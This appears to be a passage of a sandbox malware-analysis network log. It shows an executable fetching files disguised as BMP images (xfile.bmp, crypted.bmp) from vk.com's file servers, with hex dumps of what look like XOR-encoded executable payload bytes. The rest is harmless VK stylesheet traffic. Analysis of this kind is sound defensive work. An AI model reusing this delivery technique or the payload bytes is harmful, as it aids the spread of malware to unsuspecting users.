2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 2d 2d 61 63 74 69 76 65 3a 23 34 33 34 33 34 33 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 5f 61 6c 70 68 61 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 30 29 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 5f 61 6c 70 68 61 2d 2d 68 6f 76 65 72 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 32 29 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 73 65 63 6f 6e 64 61 72 79 5f 61 6c 70 68 61 2d 2d 61 63 74 69 76 65 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e Data Ascii: color_background_secondary--active:#434343;--vkui--color_background_secondary_alpha:rgba(255, 255, 255, 0.10);--vkui--color_background_secondary_alpha--hover:rgba(255, 255, 255, 0.12);--vkui--color_background_secondary_alpha--active:rgba(255, 255, 255, 0.
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 73 6b 65 6c 65 74 6f 6e 5f 73 68 69 6d 6d 65 72 5f 66 72 6f 6d 2d 2d 61 63 74 69 76 65 3a 23 33 34 33 34 33 34 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 61 6c 70 68 61 5f 73 6b 65 6c 65 74 6f 6e 5f 73 68 69 6d 6d 65 72 5f 74 6f 2d 2d 68 6f 76 65 72 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 34 29 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 61 6c 70 68 61 5f 73 6b 65 6c 65 74 6f 6e 5f 73 68 69 6d 6d 65 72 5f 74 6f 2d 2d 61 63 74 69 76 65 3a 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 30 38 29 3b 2d 2d 76 6b 75 69 2d 2d 76 6b 6f 6e 74 61 6b 74 65 5f 63 6f 6c 6f 72 5f 6c 6f 61 64 65 72 5f 62 61 63 6b 67 72 6f Data Ascii: takte_color_skeleton_shimmer_from--active:#343434;--vkui--vkontakte_color_alpha_skeleton_shimmer_to--hover:rgba(255, 255, 255, 0.04);--vkui--vkontakte_color_alpha_skeleton_shimmer_to--active:rgba(255, 255, 255, 0.08);--vkui--vkontakte_color_loader_backgro
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 36 29 7d 39 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 76 6b 75 69 70 74 72 2d 72 6f 74 61 74 6f 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 74 75 72 6e 29 7d 7d 0a 2e 76 6b 75 69 43 68 65 63 6b 62 6f 78 5f 5f 69 6e 70 75 74 5b 64 69 73 61 62 6c 65 64 5d 7e 2a 7b 6f 70 61 63 69 74 79 3a 2e 36 34 3b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 76 6b 75 69 2d 2d 6f 70 61 63 69 74 79 5f 64 69 73 61 62 6c 65 5f 61 63 63 65 73 73 69 62 69 6c 69 74 79 29 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 76 Data Ascii: form:scale(.6)}90%{transform:scale(1.1)}to{transform:scale(1)}}@keyframes vkuiptr-rotator{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}.vkuiCheckbox__input[disabled]~*{opacity:.64;opacity:var(--vkui--opacity_disable_accessibility)}@keyframes v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49790	93.186.225.194	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:15 UTC	321	OUT	GET /doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TPX72ywkW7u7PbZtLlsjRwOLHc5jbY8rzWiw&api=1&no_preview=1#015 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 07:42:15 UTC	1234	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 07:42:15 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116865 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Mon, 19 May 2025 13:01:26 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9099696869924686979_lVt38htczsZbRNeJxWMdzyhAFR7zh1QTRpuUpzzlOtP; expires=Sat, 24 May 2025 07:42:15 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-20.userapi.com/c909228/u5294803/docs/d35/91095a9a6f06/gewgdggrwh_20240521161330.bmp?extra=SFJQpepKYVBEpZ9-a9sx0fEFfCvtpM1ZI1QeNmMqjWC-GwKgYChdG8ruOMIBbckkR_3ALqVMa2SKrfLtlfcGDlIfuI8GTvUeIity5hjubwsuTTXVmp4JW2WtG0UfzcNwNBymvAVuE8o X-Frontend: front661502 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: 8PbPhB9iN-DH9K2KNrM0O_ETgaD0DA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49791	95.142.206.2	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:15 UTC	413	OUT	GET /c237231/u5294803/docs/d48/577c681b7b2d/xfile.bmp?extra=dYdwrl7550ZsVpDpI4edqrBBWzO62vW2JfAM58VQJEAq1f1u5sRJ-oLSyg7Zpabnwn07YGQJoIh1kqXr4Gqg3GPBO6NvrKJxKvrKzCgnPDESwpUZNyRnnX0rJt6T0vETt-BdDdVw9Rc HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-22.userapi.com Connection: Keep-Alive
2024-05-24 07:42:15 UTC	587	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 07:42:15 GMT Content-Type: image/x-ms-bmp Content-Length: 5154292 Connection: close Last-Modified: Tue, 21 May 2024 15:01:17 GMT ETag: "664cb73d-4ea5f4" Expires: Sun, 23 Jun 2024 07:42:15 GMT Cache-Control: max-age=2592000 X-Frontend: front6-22 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: mnZOKcBZeDLkvKjdnwIBkiberaRQtg Accept-Ranges: bytes
2024-05-24 07:42:15 UTC	15797	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 95 15 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 45 50 15 15 59 14 16 15 2d 1c ae b2 15 15 15 15 15 15 15 15 f5 15 1b 14 1e 14 45 15 15 fd 5f 15 15 59 16 15 15 15 15 15 8b 1d 5e 15 15 35 15 15 15 35 5e 15 15 15 ff 15 15 35 15 15 15 17 15 15 11 15 15 15 15 15 15 15 11 15 15 15 15 15 15 15 15 b5 5b 15 15 17 15 15 18 52 5a 15 17 15 ff 90 15 15 01 15 15 01 15 15 15 15 01 15 15 01 15 15 15 15 15 15 1a 15 15 15 15 15 15 Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1EPY-E_Y^55^5[RZ
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 15 2d be ea ea ea c8 0b 15 15 15 04 1d 2c 04 15 15 15 2d 15 15 15 15 04 1d 7a 63 15 15 1f 2d 15 15 15 15 c9 2d 15 15 15 15 17 6e 2b 15 15 11 2c 38 15 15 15 35 15 15 15 15 3d dc 15 15 13 2c db eb ea ea 33 35 15 15 15 15 2d d6 eb ea ea 17 6e 20 15 15 11 16 7a 0f 17 15 13 06 1d 2d 1d ea ea ea c8 9c 15 15 15 04 1c 2c 04 15 15 15 2d 15 15 15 15 04 1c 7a 63 15 15 1f 2d 15 15 15 15 c9 35 17 15 15 15 2d 0d eb ea ea 11 16 7a 20 14 15 13 3d 68 15 15 1f 2d bf 14 15 15 35 15 10 15 15 3d f5 15 15 13 66 90 14 15 13 6f 17 3d b8 15 15 13 2f 0e 15 15 15 2d 95 14 15 15 11 16 7a 20 14 15 13 3d 6b 15 15 1f 35 13 15 15 15 2d c4 e8 ea ea 16 7a 3c 14 15 13 2f 8b 15 15 15 2d 10 14 15 15 2d d0 ea ea ea 35 11 15 15 15 2d a7 e8 ea ea 17 6e 2e 15 15 11 2c a5 ea ea ea 35 10 15 15 15 Data Ascii: -,-zc--n+,85=,35-n z-,-zc-5-z =h-5=fo=/-z =k5-z</--5-n.,5
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 15 15 15 eb 19 15 15 50 14 15 15 15 55 15 15 15 2d 01 15 15 15 16 3d bc 14 15 13 2c 0e 15 15 15 2d 19 15 15 15 17 16 68 fc 15 15 11 2d 28 15 15 15 2d 55 15 15 15 2d 15 15 15 15 35 e9 10 15 15 3d 3d 03 15 13 66 bc 15 15 1f 6f 17 17 6e f3 15 15 11 0f 75 68 f3 15 15 11 35 15 15 15 15 3d b3 14 15 13 2c 8a ea ea ea 33 2d 00 ea ea ea 3f 2f 3e 10 3d 64 e1 78 2d 17 6e f3 15 15 11 3f 15 47 3e 10 3d a7 1d 6e 2a 17 16 68 f3 15 15 11 2d 15 15 15 15 3f 15 15 15 06 25 10 15 95 15 15 15 14 15 15 04 3e 10 3d f7 2d 38 2e 17 35 a7 12 15 15 02 02 66 cd 15 15 1f 68 f2 15 15 11 2d 15 15 15 15 17 35 a7 12 15 15 02 02 66 cd 15 15 1f 68 de 15 15 11 2d 15 15 15 15 17 35 a7 12 15 15 02 02 66 cd 15 15 1f 68 fc 15 15 11 2d 15 15 15 15 17 3d 64 15 15 1f 35 15 15 15 15 02 2f 0a 15 15 Data Ascii: PU-=,-h-(-U-5==fonuh5=,3-?/>=dx-n?G>=n*h-?%>=-8.5fh-5fh-5fh-=d5/
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 15 13 2f 5d ea ea ea 33 35 15 15 15 15 2d 28 ea ea ea 04 14 11 7a ff 14 15 13 2d 1e 15 15 15 17 3d 4d 17 15 13 2d 72 ea ea ea 17 16 04 14 66 d1 17 15 13 3d 3b 17 15 13 2d 3d ea ea ea 15 15 06 25 11 15 a6 15 15 15 5d 15 15 04 3e 10 3d e2 5e 18 52 2d 37 15 15 15 eb 19 14 15 50 17 15 15 15 10 15 15 15 00 15 15 15 2d 15 15 15 15 17 02 68 36 14 15 11 2d 33 15 15 15 16 2f 66 15 15 15 2d 4b 15 15 15 17 3d 4d 17 15 13 35 15 15 15 15 3d 7c 17 15 13 2c d7 ea ea ea 33 2d ad ea ea ea 17 3d 34 17 15 13 16 3d 93 17 15 13 06 15 2d 15 15 15 15 04 15 11 7a ff 14 15 13 2d 15 15 15 15 17 16 04 15 66 d1 17 15 13 3d 3b 17 15 13 35 14 15 15 15 3d 7c 17 15 13 2c 6a ea ea ea 33 2d 60 ea ea ea 35 47 19 15 15 3d 7e 17 15 13 66 6f 15 15 1f 6f 11 3d 2c 17 15 13 2d 92 ea ea ea 3f 15 Data Ascii: /]35-(z-=M-rf=;-=%]>=^R-7P-h6-3/f-K=M5=\|,3-=4=-z-f=;5=\|,j3-`5G=~foo=,-?
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: ea 35 69 34 15 15 3d 3d 03 15 13 66 90 14 15 13 6f 11 7a 38 14 15 13 80 27 2a 3e 14 15 15 2d ff 15 15 15 04 14 98 65 15 15 14 06 17 35 16 15 15 15 2d 10 ea ea ea 17 3d 15 17 15 13 2c 82 15 15 15 35 14 15 15 15 3d 7c 17 15 13 2c fe eb ea ea 33 35 14 15 15 15 2d f5 eb ea ea 0a 06 15 2d 13 ea ea ea 11 80 ff 3d 74 14 15 13 2c cc 15 15 15 2d 51 14 15 15 17 11 7a 22 14 15 13 3d e9 14 15 13 35 10 15 15 15 2d a5 eb ea ea 35 1f 34 15 15 3d 3d 03 15 13 04 14 99 67 15 15 14 04 16 99 67 15 15 14 3d e4 15 15 1f 66 90 14 15 13 6f 0d 98 65 15 15 14 06 11 2d 37 ea ea ea 35 bf 35 15 15 3d 3d 03 15 13 66 90 14 15 13 6f 11 3d a0 17 15 13 06 14 2d 5e ea ea ea 35 ab 34 15 15 3d 3d 03 15 13 66 90 14 15 13 6f 16 04 1d 17 6e 0f 14 15 11 0a 7a 1a 14 15 1f 03 66 01 14 15 1f 06 15 Data Ascii: 5i4==foz8'*>-e5-=,5=\|,35--=t,-Qz"=5-54==gg=foe-755==fo=-^54==fonzf
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 7b 15 15 15 17 6e 91 14 15 11 0b ff 9b 15 15 15 2d 3d eb ea ea 17 6e 97 14 15 11 7a 0f 14 15 13 2c e5 eb ea ea 2d 3b eb ea ea 17 16 11 10 3d b7 16 15 13 3f 17 17 eb 13 b3 16 15 13 66 d5 16 15 13 68 95 14 15 11 35 10 15 15 15 2d 6a e8 ea ea 17 6e 92 14 15 11 7a 67 11 15 13 17 6e 93 14 15 11 7a f3 15 15 1f 3d a9 16 15 13 06 17 2d 95 15 15 15 17 17 eb 13 b6 16 15 13 66 d5 16 15 13 68 95 14 15 11 35 11 15 15 15 3d bc 16 15 13 2c 29 e8 ea ea 33 35 1d 15 15 15 2d 24 e8 ea ea 17 6e 97 14 15 11 7a 0f 14 15 13 2f ba 15 15 15 2d e2 eb ea ea 17 6e 91 17 15 11 03 7f eb 17 04 15 75 2c 0b ea ea ea 35 14 15 15 15 3d bf 16 15 13 2c ee e9 ea ea 33 2d e4 e9 ea ea 03 3f 17 6e 97 17 15 11 17 6e 94 17 15 11 7a 7e 10 15 13 2d b9 ea ea ea 35 5b 32 15 15 3d 3d 03 15 13 35 79 32 Data Ascii: {n-=nz,-;=?fh5-jnzgnz=-fh5=,)35-$nz/-nu,5=,3-?nnz~-5[2==5y2
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 3f 15 15 53 3e 10 3d 76 89 03 5e eb 1c 15 15 7a b1 11 15 13 3f 15 15 63 3e 10 3d 88 c4 68 20 eb 1c 15 15 eb 1c 14 15 eb 1c 17 15 eb 1c 16 15 7a b6 11 15 13 3f 15 15 5f 3e 10 3d cf 66 5f 5b 15 eb 1c 15 15 3d 3d 03 15 13 3f 15 43 3e 10 3d ee d0 65 3b eb 1c 15 15 eb 1c 14 15 7a be 11 15 13 3f 15 15 43 3e 10 3d dd df 23 4a eb 1c 15 15 eb 1c 14 15 7a 24 10 15 13 3f 15 15 53 3e 10 3d bf 46 53 2f eb 1c 15 15 7a 3a 10 15 13 3f 15 15 53 3e 10 3d bd f2 68 28 eb 1c 15 15 7a bd 11 15 13 3f 15 15 63 3e 10 3d 24 d7 4e 3b eb 1c 15 15 eb 1c 14 15 eb 1c 17 15 eb 1c 16 15 7a b0 11 15 13 3f 15 15 06 25 11 15 e7 15 15 15 14 15 15 04 3e 10 3d 75 17 4e 56 35 14 15 15 15 eb 1b 15 15 2d 15 15 15 15 eb 19 15 15 50 16 15 15 15 42 15 15 15 10 15 15 15 66 15 15 15 2d 47 15 15 15 35 Data Ascii: ?S>=v^z?c>=h z?_>=f_[==?C>=e;z?C>=#Jz$?S>=FS/z:?S>=h(z?c>=$N;z?%>=uNV5-PBf-G5
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 15 0e 04 14 2d 1f 15 15 15 3d 45 1c 15 13 66 57 14 15 1f 06 14 07 14 3d 54 14 15 1f 7c 06 17 07 17 3d a2 15 15 1f 35 c7 3a 15 15 3d 3d 03 15 13 17 69 2c 17 15 11 3d a2 15 15 1f 3d 56 14 15 1f 66 79 15 15 13 6f 17 80 19 68 2d 17 15 11 2d cd eb ea ea 06 25 10 15 7c 11 15 15 98 15 15 04 3e 10 3d 9f 49 32 2d 35 1f 15 15 15 eb 1b 11 15 2d 15 15 15 15 eb 19 11 15 50 1a 15 15 15 64 14 15 15 56 17 15 15 03 14 15 15 e8 15 15 15 22 14 15 15 9e 17 15 15 fb 14 15 15 72 14 15 15 4e 14 15 15 b2 15 15 15 24 17 15 15 a2 14 15 15 c4 16 15 15 52 14 15 15 c6 17 15 15 2d 79 14 15 15 04 16 17 6e 28 17 15 11 35 ea ea 15 15 74 2e b8 16 15 15 2d 8d 16 15 15 03 3f 17 6e 57 17 15 11 80 01 7a be 10 15 13 2d c1 ea ea ea 17 3d fe 11 15 13 3f 17 3d f9 11 15 13 3f 17 3d fb 11 15 13 3f Data Ascii: -=EfW=T\|=5:==i,==Vfyoh--%\|>=I2-5-PdV"rN$R-yn(5t.-?nWz-=?=?=?
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: fd eb ea ea 35 43 2d 15 15 3d 3d 03 15 13 66 10 14 15 1f 6f 03 06 15 2d 24 15 15 15 04 15 10 4d 3f 17 17 6e 9e 17 15 11 17 17 6e 99 17 15 11 06 17 04 17 02 4d 68 99 17 15 11 04 17 84 35 ea 15 15 15 4a 68 9b 17 15 11 2d 0e ea ea ea 2d 2c ea ea ea 2d 77 eb ea ea 10 03 29 d6 eb ea ea 2d bb eb ea ea 06 25 13 15 2e 15 15 15 14 15 15 04 3e 10 3d 47 74 04 71 2d 36 15 15 15 3f 17 17 17 03 30 06 15 68 9a 17 15 11 04 15 30 06 15 68 98 17 15 11 04 15 68 99 17 15 11 2d c8 ea ea ea 17 03 68 9b 17 15 11 2d c7 ea ea ea 15 06 25 12 15 b4 14 15 15 38 15 15 04 3e 10 3d 0c 95 48 2d 2d af 15 15 15 eb 19 15 15 50 11 15 15 15 2d 15 15 15 87 15 15 15 33 14 15 15 0f 14 15 15 2d 26 15 15 15 11 04 14 28 8a 15 15 15 35 14 15 15 15 3d a0 10 15 13 2f da ea ea ea 33 35 14 15 15 15 2d Data Ascii: 5C-==fo-$M?nnMh5Jh--,-w)-%.>=Gtq-6?0h0hh-h-%8>=H--P-3-&(5=/35-
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 1c 15 15 eb 1c 14 15 eb 1c 17 15 eb 1c 16 15 7a 85 14 15 1f 3f 15 15 06 25 16 15 f3 15 15 15 14 15 15 04 3e 10 3d 84 9e 7d 75 17 3d 64 15 15 1f 2d 80 15 15 15 2d e5 ea ea ea eb 19 15 15 50 16 15 15 15 21 15 15 15 75 15 15 15 8f 15 15 15 2d 3a 15 15 15 17 35 b7 2e 15 15 3d c0 13 15 13 3d b9 13 15 13 2d 15 15 15 15 17 35 9f 16 15 15 3d 3d 03 15 13 3d bb 13 15 13 35 17 15 15 15 2d ae ea ea ea 17 6b 39 16 15 11 3d 8b 13 15 13 2d 73 15 15 15 17 67 14 15 15 65 3d bf 13 15 13 35 15 15 15 15 03 2c 00 ea ea ea 33 2d 9e ea ea ea 17 6b 3b 16 15 11 3d a7 13 15 13 2d 09 15 15 15 17 6b 3a 16 15 11 3d a5 13 15 13 35 14 15 15 15 02 2f 7c ea ea ea 33 2d 4a ea ea ea 17 03 7f 3d b7 13 15 13 2d 15 15 15 15 3f 17 67 14 15 15 65 3d 8c 13 15 13 2d 8f ea ea ea 17 6b 38 16 15 11 Data Ascii: z?%>=}u=d--P!u-:5.==-5===5-k9=-sge=5,3-k;=-k:=5/\|3-J=-?ge=-k8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49792	95.142.206.3	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:15 UTC	415	OUT	GET /c909218/u5294803/docs/d58/ae5f17aaecea/crypted.bmp?extra=2KtOsB7RPudhbLUiz0Fys2PnIlSBTnlmpq43sc12T9y5CND5ezdfQbzCDXj4m2UqxmVW2xtpV4S3JDPliqUnfG4acaoLrf78ko6IxDOXK4l5leXznH5kK5CQ_NjfWDpY9abJBbSlfio HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-23.userapi.com Connection: Keep-Alive
2024-05-24 07:42:15 UTC	585	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 07:42:15 GMT Content-Type: image/x-ms-bmp Content-Length: 470532 Connection: close Last-Modified: Wed, 22 May 2024 15:55:03 GMT ETag: "664e1557-72e04" Expires: Sun, 23 Jun 2024 07:42:15 GMT Cache-Control: max-age=2592000 X-Frontend: front6-23 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: ueIAbVOqkeElTeveu_9yaRrbyRLv8g Accept-Ranges: bytes
2024-05-24 07:42:15 UTC	15799	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 e5 15 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 7f 59 31 6a 3b 38 5f 39 3b 38 5f 39 3b 38 5f 39 e8 4a 5c 38 37 38 5f 39 e8 4a 5a 38 9c 38 5f 39 e8 4a 5b 38 2e 38 5f 39 e8 4a 5e 38 38 38 5f 39 3b 38 5e 39 60 38 5f 39 f9 b9 5b 38 29 38 5f 39 f9 b9 5c 38 2f 38 5f 39 f9 b9 5a 38 75 38 5f 39 c8 ba 5a 38 3a 38 5f 39 c8 ba 5d 38 3a 38 5f 39 47 7c 76 7d 3b 38 5f 39 15 15 15 15 15 15 15 15 45 50 15 15 59 14 10 15 0a 0a 5b Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1Y1j;8_9;8_9;8_9J\878_9JZ88_9J[8.8_9J^888_9;8^9`8_9[8)8_9\8/8_9Z8u8_9Z8:8_9]8:8_9G\|v};8_9EPY[
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 71 b6 15 15 15 15 d6 45 71 ea 20 15 15 15 15 98 51 31 19 3e 71 31 19 46 43 42 9c 3d 9e de b4 15 20 52 15 26 d0 45 9c 50 e5 ea 60 e9 d2 50 e9 ea ea ea ea 98 50 e1 71 b6 15 15 15 15 d6 45 71 ea 20 15 15 15 15 98 51 31 19 3e 71 31 19 46 43 42 9c 3d 9e de b4 15 20 52 15 26 d0 45 9c 70 e5 ea 60 e9 d2 50 e9 ea ea ea ea 98 50 e1 71 b6 15 15 15 15 d6 40 9e f9 e3 50 1d 14 43 9e e4 d2 13 cd f4 54 15 61 1f 7f 19 43 de 1d ea ea ea 4c 4c 9e d3 4b 48 d7 11 15 fc f1 12 15 15 40 9e f9 9e 50 1d 43 9e 5d 29 16 dd 1a a2 54 0a 98 44 0d 16 c5 1a a2 54 13 7e e5 3d 16 e7 2e c3 61 0c 9e 58 19 2e 5f 19 67 1f 9e 57 1d 16 57 19 2e dd 67 19 96 d7 3d 2e c3 60 fd 26 d5 4b 48 d6 9e d7 fe ec 43 de 89 1c 15 15 90 d5 61 35 71 b4 0d 15 15 15 ab 0d 52 52 15 9e 45 11 fe 11 2e c5 61 01 26 d5 Data Ascii: qEq Q1>q1FCB= R&EP`PPqEq Q1>q1FCB= R&Ep`PPq@PCTaCLLKH@PC])TDT~=.aX._gWW.g=.`&KHCa5qRRE.a&
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 51 31 25 9e 4d 1d 9e 59 31 39 26 0c 9e 65 19 96 eb eb 1a 91 53 15 15 15 9e 41 31 21 96 ef eb 61 1d 2e e7 1a 93 20 15 15 15 98 21 63 98 49 a6 01 9e 1e 9c 5d 19 96 6e 11 15 1a 90 d5 ea ea ea 7d 14 14 15 15 9e 56 1d de c4 16 15 15 ac 14 15 15 15 9e 56 1d de f1 16 15 15 fc b4 ea ea ea 71 9a 10 15 15 15 15 96 d1 0d 4a 4b 4e d6 d9 9e 59 31 11 e2 54 11 13 15 15 15 ad 14 15 15 15 61 26 9e 51 31 1d 9e 5d 1d 26 dd de 03 aa ea ea 40 9e 7d 0d ea 65 19 ea 65 01 ea 65 0a de 3b ea ea ea 96 d1 19 48 9e 51 31 1d 9e 41 31 01 9c 17 ad 16 15 15 15 d6 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 40 43 42 46 9e fd 26 d5 26 ce 26 c7 26 e3 26 ea ea c4 4e 4a 4b 48 d6 d9 d9 d9 d9 d9 d9 d9 d9 d9 9e fd 9e e4 9e d4 7f 14 de 26 16 15 15 26 d5 26 ce 26 dc 26 c7 26 ea ea f3 d9 d9 d9 d9 d9 d9 d9 40 9e Data Ascii: Q1%MY19&eSA1!a. !cI]n}VVqJKNY1Ta&Q1]&@}eee;HQ1A1@CBF&&&&&NJKH&&&&&&@
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 4c 90 d5 1a 91 ab 15 15 15 7f 39 4f 98 19 53 1a a2 0c 9c 58 ed 9e 58 e9 90 dc 60 3e 96 ed ff 1a 96 b7 15 15 15 45 43 7f ff 42 de 5e 6d 15 15 96 d1 01 90 d5 1a 90 00 15 15 15 7f 3b 4d 73 2e cd 60 5e 26 d5 ff fe 5c 96 ec 14 60 03 96 ed ff 66 63 96 ee 4a 61 64 45 43 7f ff 98 92 95 15 15 15 fe 0b 96 ec 17 60 75 96 ed 01 66 4e 73 90 ce 61 10 73 2e cf 60 44 45 43 7f 01 98 92 15 14 15 15 45 de e1 62 15 15 96 d1 01 90 d5 60 57 9e 50 e9 7f 39 4c 73 2e cc 1a 91 0c ea ea ea 73 90 ce 1a 91 01 ea ea ea 9e 60 ed 96 d3 17 ff 7d 65 ed 54 15 43 9c 50 e9 de 88 8f 15 15 4c 4c 7f 39 4f 90 d5 1a 90 50 ea ea ea 96 dd ea 4a 4b 4e dc d6 26 ce 46 46 46 46 46 de b4 d3 ea ea d9 9e ea 40 9e f9 43 de e3 34 15 15 9e 40 1d 9e e5 7f 15 4d 9e 9b 45 16 15 15 e3 d4 17 1a 81 d5 ff 96 ef ea Data Ascii: L9OSXX`>ECB^m;Ms.`^&\`fcJadEC`ufNsas.`DECEb`WP9Ls.s`}eTCPLL9OPJKN&FFFFF@C4@ME
